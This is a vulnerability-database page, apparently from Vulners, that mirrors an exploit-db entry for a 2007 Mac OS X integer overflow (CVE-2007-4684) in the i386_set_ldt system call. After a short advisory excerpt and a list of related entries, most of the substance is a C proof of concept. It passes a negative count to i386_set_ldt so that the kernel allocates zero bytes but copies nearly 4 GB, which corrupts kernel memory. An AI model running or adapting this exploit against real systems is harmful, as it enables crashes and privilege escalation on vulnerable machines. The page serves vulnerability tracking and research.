Lucene search
K

Apple Mac OS X 10.4.11 2007-008 i386_set_ldt System Call Local Arbitrary Code Execution

🗓️ 14 Nov 2007 00:00:00Reported by Mark TullType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 27 Views

Apple Mac OS X 10.4.11 2007-008 i386_set_ldt System Call Local Arbitrary Code Execution vulnerability. Vulnerable to remote code execution, denial-of-service conditions, and privilege escalation

Related
Code
ReporterTitlePublishedViews
Family
Tenable Nessus
Mac OS X < 10.4.11 Multiple Vulnerabilities (Security Update 2007-008)
15 Nov 200700:00
nessus
Tenable Nessus
Mac OS X < 10.4.11 Multiple Vulnerabilities (Security Update 2007-008)
14 Nov 200700:00
nessus
CVE
CVE-2007-4684
15 Nov 200701:00
cve
Cvelist
CVE-2007-4684
15 Nov 200701:00
cvelist
EUVD
EUVD-2007-4666
7 Oct 202500:30
euvd
NVD
CVE-2007-4684
15 Nov 200701:46
nvd
Prion
Integer overflow
15 Nov 200701:46
prion
seebug.org
Apple Mac OS X v10.4.11之前版本多个安全漏洞
17 Nov 200700:00
seebug
source: http://www.securityfocus.com/bid/26444/info

Apple Mac OS X is prone to multiple security vulnerabilities.

These issues affect Mac OS X and various applications, including AppleRAID, CFFTP, CFNetwork, CoreFoundation, CoreText, kernel, remote_cmds, networking, NFS, NSURL, SecurityAgent, WebCore, and WebKit.

Attackers may exploit these issues to execute arbitrary code, trigger denial-of-service conditions, escalate privileges, and potentially compromise vulnerable computers.

Apple Mac OS X 10.4.10 and prior versions are vulnerable to these issues. 

#include <stdio.h>
#include <stdlib.h>
#include <architecture/i386/table.h>
#include <i386/user_ldt.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/mman.h>

int
main(void)
{
    union ldt_entry descs;
    char *buf;
    u_long pgsz = sysconf(_SC_PAGESIZE);

    if ((buf = (char *)malloc(pgsz * 4)) == -1) {
        perror("malloc");
        exit(EXIT_FAILURE);
    }

    memset(buf, 0x41, pgsz * 4);

    buf = (char *)(((u_long)buf & ~pgsz) + pgsz);

    if (mprotect((char *)((u_long)buf + (pgsz * 2)), (size_t)pgsz,
    PROT_WRITE) == -1) {
        perror("mprotect");
        exit(EXIT_FAILURE);
    }

    /*
     * This will result in kalloc() size argument being 0x00000000 and copyin()
     * size argument being 0xfffffff8.
     */

    if (i386_set_ldt(1024, (union ldt_entry *)&buf, -1) == -1) {
        perror("i386_set_ldt");
        exit(EXIT_FAILURE);
    }

    exit(EXIT_SUCCESS);
}

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

14 Nov 2007 00:00Current
0.2Low risk
Vulners AI Score0.2
CVSS 26.9
EPSS0.00321
27